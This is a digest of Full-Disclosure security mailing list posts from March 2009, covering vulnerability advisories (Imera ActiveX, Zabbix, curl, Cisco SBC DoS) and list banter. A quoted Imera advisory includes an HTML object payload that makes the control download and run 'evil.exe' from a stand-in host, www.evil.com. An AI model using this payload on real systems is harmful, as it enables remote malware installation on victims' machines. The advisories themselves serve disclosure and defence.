From lists at infosecurity.ch  Wed Mar  4 07:34:49 2009
From: lists at infosecurity.ch (Fabio Pietrosanti (naif))
Date: Wed, 04 Mar 2009 08:34:49 +0100
Subject: [Full-disclosure] Judge orders defendant to decrypt
 PGP-protected laptop
In-Reply-To: <6450e99d0903031550p2f22d6c2jfc0c49cb832c046e@mail.gmail.com>
References: <6450e99d0903031550p2f22d6c2jfc0c49cb832c046e@mail.gmail.com>
Message-ID: <49AE2F19.9070900@infosecurity.ch>

Ivan . wrote:
> A federal judge has ordered a criminal defendant to decrypt his hard
> drive by typing in his PGP passphrase so prosecutors can view the
> unencrypted files, a ruling that raises serious concerns about
> self-incrimination in an electronic age.
>
> http://news.cnet.com/8301-13578_3-10172866-38.html
>   

Like in UK?


-naif



From bholdaaa at gmail.com  Wed Mar  4 08:51:33 2009
From: bholdaaa at gmail.com (bob jones)
Date: Wed, 4 Mar 2009 02:51:33 -0600
Subject: [Full-disclosure] Imera ImeraIEPlugin ActiveX Control Remote
	Code Execution
In-Reply-To: <20090303151206.657A6158045@smtp.hushmail.com>
References: <20090303151206.657A6158045@smtp.hushmail.com>
Message-ID: <642112710903040051g2cd81f28nb9c9c031cbaa25c0@mail.gmail.com>

doesn't submitting lame bugs in useless apps ever get old?

On Tue, Mar 3, 2009 at 9:12 AM, Elazar Broad <elazar at hushmail.com> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Who:
>  Imera(http://www.imera.com)
>  Imera TeamLinks Client(http://teamlinks.imera.com/install.html)
>
> What:
>  ImeraIEPlugin.dll
>  Version 1.0.2.54
>  Dated 12/02/2008
>  {75CC8584-86D4-4A50-B976-AA72618322C6}
>  http://teamlinks.imera.com/ImeraIEPlugin.cab
>
> How:
>  This control is used to install the Imera TeamLinks Client
> package. The control fails to validate the content that it is to
> download and install is indeed the Imera TeamLinks Client software.
>
> Exploiting this issue is quite simple, like so:
>
> <object classid="clsid:75CC8584-86D4-4A50-B976-AA72618322C6"
> id="obj">
>        <param name="DownloadProtocol" value="http" />
>        <param name="DownloadHost" value="www.evil.com" />
>        <param name="DownloadPort" value="80" />
>        <param name="DownloadURI" value="evil.exe" />
> </object>
>
> Fix:
>  The vendor has been notified.
>
> Workaround:
>  Set the killbit for the affected control, see
> http://support.microsoft.com/kb/240797.
> Use the Java installer for TeamLinks Client or install the software
> manually from: http://teamlinks.imera.com/download.html
>
> Elazar
> -----BEGIN PGP SIGNATURE-----
> Charset: UTF8
> Note: This signature can be verified at https://www.hushtools.com/verify
> Version: Hush 3.0
>
> wpwEAQECAAYFAkmtR6YACgkQi04xwClgpZgbTgP/T3l+Gj+pIt19H80tiHrlbpbB7+qh
> /03/vQYTEL75n0XCmfGjbcurLhWlo+m90eDQwlgigq3CoQyqleKNI8kSDYjr2pw289Pm
> qC21ASe/P3zIM+gt81+iqDtKMA/MGvOE20nrHVEWlatAlCgmSjt3MJhqEJ/GdzUiR22s
> BDrpVM8=
> =R0h3
> -----END PGP SIGNATURE-----
>
> --
> Thinking of a life with religion?  Click here to find a religious school
> near you.
>
> http://tagline.hushmail.com/fc/BLSrjkqkOt2ULsSphoguIMPooi9T2eJVBhBNEJeyTxDH8nsQ8r6djRRztwU/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090304/989b44b3/attachment.html 

From bholdaaa at gmail.com  Wed Mar  4 08:46:23 2009
From: bholdaaa at gmail.com (bob jones)
Date: Wed, 4 Mar 2009 02:46:23 -0600
Subject: [Full-disclosure] Most secure internet exploration tool?
In-Reply-To: <20090304003136.6E1AA28042@smtp.hushmail.com>
References: <20090304003136.6E1AA28042@smtp.hushmail.com>
Message-ID: <642112710903040046v76c7fe79tc05c74f1e7fb98c7@mail.gmail.com>

"code execution power hacks"

you should write for syngress

On Tue, Mar 3, 2009 at 6:31 PM, <bobby.mugabe at hushmail.com> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Dear list,
>
> Recently there have been many conversations regarding advanced
> browser hacks (denial by crashing attacks, too many tab attacks,
> code execution power hacks, etc).  I would like to start a
> discussion, weighing in every expert opinion on what the most
> secure web browser is and why.  Also whether or not the underlying
> operating system matters - is firefox more secure under BeOS than
> mosaic under IBM's dos?  How do these things compare?  Does anyone
> have any charts and/or graphs for visual comparison on this topic
> already that they would like to share?
>
> Thanks,
> - -bm
> -----BEGIN PGP SIGNATURE-----
> Charset: UTF8
> Note: This signature can be verified at https://www.hushtools.com/verify
> Version: Hush 3.0
>
> wpwEAQMCAAYFAkmty0kACgkQhNp8gzZx3siT9AP/dre+OCmuSzXs7XoQkrt5hFKKtO48
> zy2xB1V4Z9jnbi+REHJaMdtB0jRqW8N0Yp7uWKinxO06j6xqvRpicL6pVoHstIlTYfj8
> 3om58z97QtOI4bXLnYiSduNaKMiCgz3rPimg++6eU5ydIXRcwdvJI6K3t4/W3WiJL7IR
> HBgLhrs=
> =e7QW
> -----END PGP SIGNATURE-----
>
> --
> Click here to save cash and find low rates on auto loans.
>
> http://tagline.hushmail.com/fc/BLSrjkqhD12bI6Bf9LK33CMgRC8Aw6vjlUYbcX2frLTf6q5zzvJhAVnURtm/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090304/d8ace29b/attachment.html 

From bholdaaa at gmail.com  Wed Mar  4 08:48:09 2009
From: bholdaaa at gmail.com (bob jones)
Date: Wed, 4 Mar 2009 02:48:09 -0600
Subject: [Full-disclosure] The return of L0phtCrack
In-Reply-To: <6450e99d0903031555u2dfc1c86v2a4c5c13aa4549ae@mail.gmail.com>
References: <6450e99d0903031555u2dfc1c86v2a4c5c13aa4549ae@mail.gmail.com>
Message-ID: <642112710903040048h22c19ad5ueb4fdf75c8e45187@mail.gmail.com>

just now getting "64 bit support"

as usual l0phtcrack is years behind everyone else but b/c they are huge
attention whores they get credit for *

kind of like gadi evron, dan kaminsky, etc

On Tue, Mar 3, 2009 at 5:55 PM, Ivan . <ivanhec at gmail.com> wrote:

> http://blogs.zdnet.com/security/?p=2737
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090304/a9e1346c/attachment.html 

From bholdaaa at gmail.com  Wed Mar  4 08:56:27 2009
From: bholdaaa at gmail.com (bob jones)
Date: Wed, 4 Mar 2009 02:56:27 -0600
Subject: [Full-disclosure] Zabbix 1.6.2 Frontend Multiple Vulnerabilities
In-Reply-To: <49AD4D12.7000601@katamail.com>
References: <49AD4D12.7000601@katamail.com>
Message-ID: <642112710903040056m1af6ad0bp4f4757293348b062@mail.gmail.com>

Does it seriously take three people to grep for vulnerable php functions?
You realize you could all be replaced by a 20 line perl script which would
including debugging and xml output?

On Tue, Mar 3, 2009 at 9:30 AM, ascii <ascii at katamail.com> wrote:

>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090304/fdb9d982/attachment.html 

From bholdaaa at gmail.com  Wed Mar  4 08:57:18 2009
From: bholdaaa at gmail.com (bob jones)
Date: Wed, 4 Mar 2009 02:57:18 -0600
Subject: [Full-disclosure] bob jones has invited you to open a Google mail
	account
Message-ID: <642112710903040057t53661a34y@mail.gmail.com>

I've been using Gmail and thought you might like to try it out. Here's
an invitation to create an account.

-----------------------------------------------------------------------

bob jones has invited you to open a free Gmail account.

To accept this invitation and register for your account, visit
http://mail.google.com/mail/a-8b0b337a42-962123194c-d6e7b570dc

Once you create your account, bob jones will be notified with
your new email address so you can stay in touch with Gmail!

If you haven't already heard about Gmail, it's a new search-based webmail
service that offers:

- Over 2,700 megabytes (two gigabytes) of free storage
- Built-in Google search that instantly finds any message you want
- Automatic arrangement of messages and related replies into
  "conversations"
- Powerful spam protection using innovative Google technology
- No large, annoying ads--just small text ads and related pages that are
  relevant to the content of your messages

To learn more about Gmail before registering, visit:
http://mail.google.com/mail/help/benefits.html

And, to see how easy it can be to switch to a new email service, check
out our new switch guide: http://mail.google.com/mail/help/switch/

We're still working every day to improve Gmail, so we might ask for your
comments and suggestions periodically.  We hope you'll like Gmail.  We
do.  And, it's only going to get better.

Thanks,

The Gmail Team

(If clicking the URLs in this message does not work, copy and paste them
into the address bar of your browser).



From patrick.saladino at epfl.ch  Wed Mar  4 09:28:12 2009
From: patrick.saladino at epfl.ch (Saladino Patrick)
Date: Wed, 4 Mar 2009 10:28:12 +0100
Subject: [Full-disclosure] The return of L0phtCrack
In-Reply-To: <642112710903040048h22c19ad5ueb4fdf75c8e45187@mail.gmail.com>
References: <6450e99d0903031555u2dfc1c86v2a4c5c13aa4549ae@mail.gmail.com>
	<642112710903040048h22c19ad5ueb4fdf75c8e45187@mail.gmail.com>
Message-ID: <3FAA443650DF2E4694C83F01167BA4FB3156721829@REX3.intranet.epfl.ch>

That's why everyone should use ophcrack : http://ophcrack.sourceforge.net/


De?: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] De la part de bob jones
Envoy??: mercredi 4 mars 2009 09:48
??: Ivan .
Cc?: full-disclosure
Objet?: Re: [Full-disclosure] The return of L0phtCrack

just now getting "64 bit support"

as usual l0phtcrack is years behind everyone else but b/c they are huge attention whores they get credit for *

kind of like gadi evron, dan kaminsky, etc
On Tue, Mar 3, 2009 at 5:55 PM, Ivan . <ivanhec at gmail.com> wrote:
http://blogs.zdnet.com/security/?p=2737

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/



From ascii at katamail.com  Wed Mar  4 10:47:00 2009
From: ascii at katamail.com (ascii)
Date: Wed, 04 Mar 2009 10:47:00 +0000
Subject: [Full-disclosure] Zabbix 1.6.2 Frontend Multiple Vulnerabilities
In-Reply-To: <642112710903040056m1af6ad0bp4f4757293348b062@mail.gmail.com>
References: <49AD4D12.7000601@katamail.com>
	<642112710903040056m1af6ad0bp4f4757293348b062@mail.gmail.com>
Message-ID: <49AE5C24.1090402@katamail.com>

bob jones wrote:
> Does it seriously take three people to grep for vulnerable php functions?
> You realize you could all be replaced by a 20 line perl script which would
> including debugging and xml output?

Dear Bob,

the three people are for the responsible disclosure, the vulnerability
itself has been found by a 20 line perl script which includes debugging
and xml output.

Additionally please remember that we are in Italy.

I'm sure you understand.

Kind regards,
Francesco `ascii` Ongaro
http://www.ush.it/



From peak at argo.troja.mff.cuni.cz  Wed Mar  4 02:51:25 2009
From: peak at argo.troja.mff.cuni.cz (Pavel Kankovsky)
Date: Wed, 4 Mar 2009 03:51:25 +0100 (CET)
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <72daeffd0903022253t5888cac5wf5be6ef0f1764fe7@mail.gmail.com>
Message-ID: <20090304032033.31F4.0@paddy.troja.mff.cuni.cz>

On Mon, 2 Mar 2009, Chris Evans wrote:

> For the sake of prolonging a pointless argument, let's stick to the
> original premise of a tab crash with no other consequence, and see
> where it goes :)

It depends on where the piece of data causing the crash has come from.

(1) Could it (or any other piece of data in its place) make arbitrary
changes to the contents of the loaded page without having to rely on any
browser bug (e.g. the top HTML document)?

(2) Does it originate from the same subject (person, company, whatever)
as any other piece of data that is included in the loaded page and able
to make arbitrary changes as per (1)?

The crash is a real (DoS) attack against the browser if and only if
the answer to both questions is negative. (Assuming the crash has no
consequences other than the loss of the page loaded into the crashed
tab.)

-- 
Pavel Kankovsky aka Peak                          / Jeremiah 9:21        \
"For death is come up into our MS Windows(tm)..." \ 21th century edition /



From bobby.mugabe at hushmail.com  Wed Mar  4 14:13:40 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Wed, 04 Mar 2009 09:13:40 -0500
Subject: [Full-disclosure] Zabbix 1.6.2 Frontend Multiple Vulnerabilities
Message-ID: <20090304141340.D4122158045@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dear `ascii` Francesco Ongaro,

Is the remark about Italia meant as an excuse for stupidity?
Racism is not acceptable on this list.

- -bm

>Additionally please remember that we are in Italy.
>
>I'm sure you understand.
>
>Kind regards,
>Francesco `ascii` Ongaro
>http://www.ush.it/
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify

wpsEAQMCAAYFAkmujCMACgkQhNp8gzZx3sgN0wP2J90cAWrytb6zuADQ9bji23DbN513
x5T1WJcl7JWTLwjsSIBgNgpZFmVoUh0DwKE5jLpsmqarEtOglp6jV9RXP8do18io+aJp
Zo6LHYVuOltwlBlP3VZFCzFjdj2NJhYNl5UhcElYMaC4IAjh3kvQEA6UkHjKqC+e3yYZ
3z5HcQ==
=UAag
-----END PGP SIGNATURE-----

--
Click to learn about options trading and get the latest information.
 http://tagline.hushmail.com/fc/BLSrjkqecvgoBHCyD1MGNcdlY8m07MXDTrQbViysBWbcGgVQHOLssp8RAtC/



From marc.deslauriers at canonical.com  Wed Mar  4 15:09:19 2009
From: marc.deslauriers at canonical.com (Marc Deslauriers)
Date: Wed, 04 Mar 2009 10:09:19 -0500
Subject: [Full-disclosure] [USN-726-2] curl regression
Message-ID: <1236179359.6505.1.camel@mdlinux.technorage.com>

===========================================================
Ubuntu Security Notice USN-726-2             March 04, 2009
curl regression
https://launchpad.net/bugs/337501
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 8.10

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 8.10:
  libcurl3                        7.18.2-1ubuntu4.3
  libcurl3-gnutls                 7.18.2-1ubuntu4.3

In general, a standard system upgrade is sufficient to effect the
necessary changes.

Details follow:

USN-726-1 fixed a vulnerability in curl. Due to an incomplete fix, a regression
was introduced in Ubuntu 8.10 that caused certain types of URLs to fail. This
update fixes the problem. We apologize for the inconvenience.

Original advisory details:

 It was discovered that curl did not enforce any restrictions when following
 URL redirects. If a user or automated system were tricked into opening a URL to
 an untrusted server, an attacker could use redirects to gain access to abitrary
 files. This update changes curl behavior to prevent following "file" URLs after
 a redirect.


Updated packages for Ubuntu 8.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.18.2-1ubuntu4.3.diff.gz
      Size/MD5:    22444 f03a34d199a3dfe6862d4f93b6704e10
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.18.2-1ubuntu4.3.dsc
      Size/MD5:     1491 906af0232a5e1c0a02e921eb508eff57
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.18.2.orig.tar.gz
      Size/MD5:  2273077 4fe99398a64a34613c9db7bd61bf6e3c

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.18.2-1ubuntu4.3_amd64.deb
      Size/MD5:   210392 605f35f7ab21dc4ed16205f73f5ce335
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-dbg_7.18.2-1ubuntu4.3_amd64.deb
      Size/MD5:  1124818 52b6531b8d0ba56e47844b90faaa7d88
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls_7.18.2-1ubuntu4.3_amd64.deb
      Size/MD5:   216220 700b648d0e4b4346da9dd4ba9421962f
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3_7.18.2-1ubuntu4.3_amd64.deb
      Size/MD5:   223312 58580fc77cdd1a93439ee92875aee1fc
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-gnutls-dev_7.18.2-1ubuntu4.3_amd64.deb
      Size/MD5:   926208 16822154e80a941fd4305169d7979379
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-openssl-dev_7.18.2-1ubuntu4.3_amd64.deb
      Size/MD5:   933192 ae5cc0e338e4f2d9f43ceac6c92303f0

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.18.2-1ubuntu4.3_i386.deb
      Size/MD5:   209182 e34d8187746e820d6328fdc4540e7e73
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-dbg_7.18.2-1ubuntu4.3_i386.deb
      Size/MD5:  1092044 3d9e9bf04f0dd77c09ff967ce0822011
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls_7.18.2-1ubuntu4.3_i386.deb
      Size/MD5:   212674 bdad3624169c184cdee7153dfdc61a16
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3_7.18.2-1ubuntu4.3_i386.deb
      Size/MD5:   219586 e9b3008f8cb5047b326b4d3f1f6e0323
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-gnutls-dev_7.18.2-1ubuntu4.3_i386.deb
      Size/MD5:   899702 6dd63d112bdc8055636b2c8edfdd24a2
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-openssl-dev_7.18.2-1ubuntu4.3_i386.deb
      Size/MD5:   905420 ff0b8f23fd90555ffe215698ac644cdf

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/c/curl/curl_7.18.2-1ubuntu4.3_lpia.deb
      Size/MD5:   208850 1c452ad9122b12518bf1b5c8b3996c3b
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-dbg_7.18.2-1ubuntu4.3_lpia.deb
      Size/MD5:  1099132 7735bb7e7c240be1a5f9ee749a67eb6e
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-gnutls_7.18.2-1ubuntu4.3_lpia.deb
      Size/MD5:   210934 5f3eea9bf9eece8f91200332c6f41b6a
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3_7.18.2-1ubuntu4.3_lpia.deb
      Size/MD5:   217456 eebef9ad6914c70cb38b0fa08875233c
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-gnutls-dev_7.18.2-1ubuntu4.3_lpia.deb
      Size/MD5:   898570 21805c5b24e9477670aad07d167d56ab
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-openssl-dev_7.18.2-1ubuntu4.3_lpia.deb
      Size/MD5:   903918 90628d272b4301c968ef5cf446c778fe

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/c/curl/curl_7.18.2-1ubuntu4.3_powerpc.deb
      Size/MD5:   212598 4003e25fccb2f67b75f451e60d7e9362
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-dbg_7.18.2-1ubuntu4.3_powerpc.deb
      Size/MD5:  1130394 f755328b6c0df8b6963ea39255594cfb
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-gnutls_7.18.2-1ubuntu4.3_powerpc.deb
      Size/MD5:   223766 b72e7008472791b08bba97fc57857f1b
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3_7.18.2-1ubuntu4.3_powerpc.deb
      Size/MD5:   229632 d891ef64864441ba7f2496c29b57d49a
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-gnutls-dev_7.18.2-1ubuntu4.3_powerpc.deb
      Size/MD5:   925530 35c2284ab719cb773592ea4bc8679af6
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-openssl-dev_7.18.2-1ubuntu4.3_powerpc.deb
      Size/MD5:   931828 f29cf3a604d660801e1b011fa409af90

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/c/curl/curl_7.18.2-1ubuntu4.3_sparc.deb
      Size/MD5:   209654 b25b0908a500fb1c6ba5e9af876249ac
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-dbg_7.18.2-1ubuntu4.3_sparc.deb
      Size/MD5:  1072608 7c3c67a9fcd09e1807a22d6ba110790e
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-gnutls_7.18.2-1ubuntu4.3_sparc.deb
      Size/MD5:   209368 cb36362b891401548905671dee5057db
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3_7.18.2-1ubuntu4.3_sparc.deb
      Size/MD5:   214076 49e05a9531109bcc7cbbce75adb29681
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-gnutls-dev_7.18.2-1ubuntu4.3_sparc.deb
      Size/MD5:   904932 56300cb1c407a1b90d23b72a22df0b56
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-openssl-dev_7.18.2-1ubuntu4.3_sparc.deb
      Size/MD5:   909964 92dc9ddcf638da3dcac80c7f90373b10


-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090304/1811f201/attachment.bin 

From Valdis.Kletnieks at vt.edu  Wed Mar  4 16:23:54 2009
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Wed, 04 Mar 2009 11:23:54 -0500
Subject: [Full-disclosure] Zabbix 1.6.2 Frontend Multiple Vulnerabilities
In-Reply-To: Your message of "Wed, 04 Mar 2009 09:13:40 EST."
	<20090304141340.D4122158045@smtp.hushmail.com>
References: <20090304141340.D4122158045@smtp.hushmail.com>
Message-ID: <97295.1236183834@turing-police.cc.vt.edu>

On Wed, 04 Mar 2009 09:13:40 EST, bobby.mugabe at hushmail.com said:

> Is the remark about Italia meant as an excuse for stupidity?
> Racism is not acceptable on this list.

Oddly enough, I read it as "Italians believe in creating enough jobs
so everybody is employed".  Here in the US, the same effect can usually
be observed at any Dept of Public Works project site - one guy with a jackhammer,
3 guys with the slow/stop traffic signs, several project supervisors, and
another 4 or 5 guys with no obvious function there at all...
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090304/833207ea/attachment.bin 

From psirt at cisco.com  Wed Mar  4 16:30:00 2009
From: psirt at cisco.com (Cisco Systems Product Security Incident Response Team)
Date: Wed, 04 Mar 2009 17:30:00 +0100
Subject: [Full-disclosure] Cisco Security Advisory: Cisco 7600 Series Router
	Session Border Controller Denial of Service Vulnerability
Message-ID: <200903041732.sbc@psirt.cisco.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Cisco Security Advisory: Cisco 7600 Series Router Session Border
                         Controller Denial of Service Vulnerability

Document ID: 109483

Advisory ID: cisco-sa-20090304-sbc

http://www.cisco.com/warp/public/707/cisco-sa-20090304-sbc.shtml

Revision 1.0

For Public Release 2009 March 4 1600 UTC (GMT)

- ---------------------------------------------------------------------

Summary
=======

A denial of service (DoS) vulnerability exists in the Cisco Session
Border Controller (SBC) for the Cisco 7600 series routers. Cisco has
released free software updates that address this vulnerability.
Workarounds that mitigate this vulnerability are available.

This advisory is posted at 
http://www.cisco.com/warp/public/707/cisco-sa-20090304-sbc.shtml

Affected Products
=================

Vulnerable Products
+------------------

All Cisco ACE-based SBC modules running software versions prior to
3.0(2) are affected.

To determine the version of the Cisco SBC software running on a
system, log in to the device and issue the show version command to
display the system banner.

    card_A/Admin# show version
      system image file: [LCP] disk0:c76-sbck9-mzg.3.0.1_AS3_0_00.bin
    <output truncated>


Cisco SBC software version 3.0.1 is running in the device used in
this example.

Products Confirmed Not Vulnerable
+--------------------------------

The Cisco XR 12000 Series SBC is not vulnerable. Additionally, the
Cisco ACE Module, Cisco ACE 4710 Application Control Engine, Cisco
ACE XML Gateway, Cisco ACE Web Application Firewall, and the Cisco
ACE GSS (Global Site Selector) 4400 Series are not affected by this
vulnerability. No other Cisco products are currently known to be
affected by this vulnerability.

Details
=======

The Session Border Controller (SBC) enables direct IP-to-IP
interconnect between multiple administrative domains for
session-based services providing protocol interworking, security, and
admission control and management. The SBC is a multimedia device that
sits on the border of a network and controls call admission to that
network. A vulnerability exists in the Cisco SBC where an
unauthenticated attacker may cause the Cisco SBC card to reload by
sending crafted TCP packets over port 2000. Repeated exploitation
could result in a sustained DoS condition.

Note: Only the Cisco SBC module reloads after successful
exploitation. The Cisco 7600 series router does not reload and it is
not affected by this vulnerability.

Note: TCP port 2000 is typically used by Skinny Call Control Protocol
(SCCP) applications. However, the Cisco SBC module uses TCP port 2000
for high availability (redundancy) communication, but does not use
the SCCP for this purpose.

This vulnerability is documented in Cisco Bug IDs CSCsq18958 (
registered customers only) ; and has been assigned the Common
Vulnerability and Exposures (CVE) IDs CVE-2009-0619.

Vulnerability Scoring Details
=============================

Cisco has provided scores for the vulnerability in this advisory
based on the Common Vulnerability Scoring System (CVSS). The CVSS
scoring in this Security Advisory is done in accordance with CVSS
version 2.0.

CVSS is a standards-based scoring method that conveys vulnerability
severity and helps determine urgency and priority of response.

Cisco has provided a base and temporal score. Customers can then
compute environmental scores to assist in determining the impact of
the vulnerability in individual networks.

Cisco has provided an FAQ to answer additional questions regarding
CVSS at

http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html

Cisco has also provided a CVSS calculator to help compute the
environmental impact for individual networks at

http://intellishield.cisco.com/security/alertmanager/cvss

CVSS Base Score - 7.8

Access Vector           - Network
Access Complexity       - Low
Authentication          - None
Confidentiality Impact  - None
Integrity Impact        - None
Availability Impact     - Complete

CVSS Temporal Score - 6.4

Exploitability          - Functional
Remediation Level       - Official-Fix
Report Confidence       - Confirmed

Impact
======

Successful exploitation of the vulnerability may cause a reload of
the affected device. Repeated exploitation could result in a
sustained DoS condition.

Software Versions and Fixes
===========================

This vulnerability has been corrected in Cisco SBC software release
3.0(2).

Cisco SBC software can be downloaded from:

http://www.cisco.com/pcgi-bin/tablebuild.pl/sbc-7600-crypto

When considering software upgrades, also consult 
http://www.cisco.com/go/psirt and any subsequent advisories to 
determine exposure and a complete upgrade solution.

In all cases, customers should exercise caution to be certain the
devices to be upgraded contain sufficient memory and that current
hardware and software configurations will continue to be supported
properly by the new release. If the information is not clear, contact
the Cisco Technical Assistance Center (TAC) or your contracted
maintenance provider for assistance.

Workarounds
===========

As a workaround, configure an access control list (ACL) in the
signaling / media VLAN on the Route Processor (RP). The following
examples show how VLAN 140 is configured as the signaling / media
VLAN. A separate VLAN (VLAN 77) is configured as Fault Tolerance
(FT). An ACL is added to the signaling/media VLAN on the RP filtering
all TCP port 2000 packets to the alias IP address.

Cisco SBC configuration

    interface vlan 140
      ip address 10.140.1.90 255.255.255.0
      alias 10.140.1.100 255.255.255.0
      peer ip address 10.140.1.8 255.255.255.0
    !
    ft interface vlan 77
      ip address 192.168.1.1 255.255.255.0
      peer ip address 192.168.1. 255.255.255.0


RP Configuration

    !- ACL blocking all TCP port 2000 traffic to the 10.140.1.0 internal network
    !
    access-list 100 deny   tcp any host 10.140.1.100 eq 2000
    access-list 100 permit ip any any
    !
    interface Vlan140
     ip address 10.140.1.1 255.255.255.0
    !- ACL is applied to the VLAN interface to egress traffic
      ip access-group 100 out
    !

The alias command under VLAN 140 is configured with an IP address
that floats between active and standby modules when using high
availability. Only TCP port 2000 traffic destined to this IP address
may trigger this vulnerability. An access control list (ACL) is
configured to deny TCP port 2000 destined to the alias IP address
(10.140.1.100). The ACL is applied egress in the RP.

Note: TCP port 2000 is used by Skinny Call Control Protocol (SCCP)
applications; however, in this case it is used by the SBC for
internal communications. The previous ACL only blocks TCP port 2000
traffic to the alias IP address. TCP port 2000 is not used by the
alias IP address. This ACL should not cause any collateral damage.

Additional mitigations that can be deployed on Cisco devices within
the network are available in the Cisco Applied Intelligence companion
document for this Advisory:

http://www.cisco.com/warp/public/707/cisco-amb-20090304-sbc.shtml

Obtaining Fixed Software
========================

Cisco has released free software updates that address this
vulnerability. Prior to deploying software, customers should consult
their maintenance provider or check the software for feature set
compatibility and known issues specific to their environment.

Customers may only install and expect support for the feature sets
they have purchased. By installing, downloading, accessing or
otherwise using such software upgrades, customers agree to be bound
by the terms of Cisco's software license terms found at 
http://www.cisco.com/en/US/products/prod_warranties_item09186a008088e31f.html
or as otherwise set forth at Cisco.com Downloads at 
http://www.cisco.com/public/sw-center/sw-usingswc.shtml

Do not contact psirt at cisco.com or security-alert at cisco.com for
software upgrades.

Customers with Service Contracts
+-------------------------------

Customers with contracts should obtain upgraded software through
their regular update channels. For most customers, this means that
upgrades should be obtained through the Software Center on Cisco's
worldwide website at http://www.cisco.com.

Customers using Third Party Support Organizations
+------------------------------------------------

Customers whose Cisco products are provided or maintained through
prior or existing agreements with third-party support organizations,
such as Cisco Partners, authorized resellers, or service providers
should contact that support organization for guidance and assistance
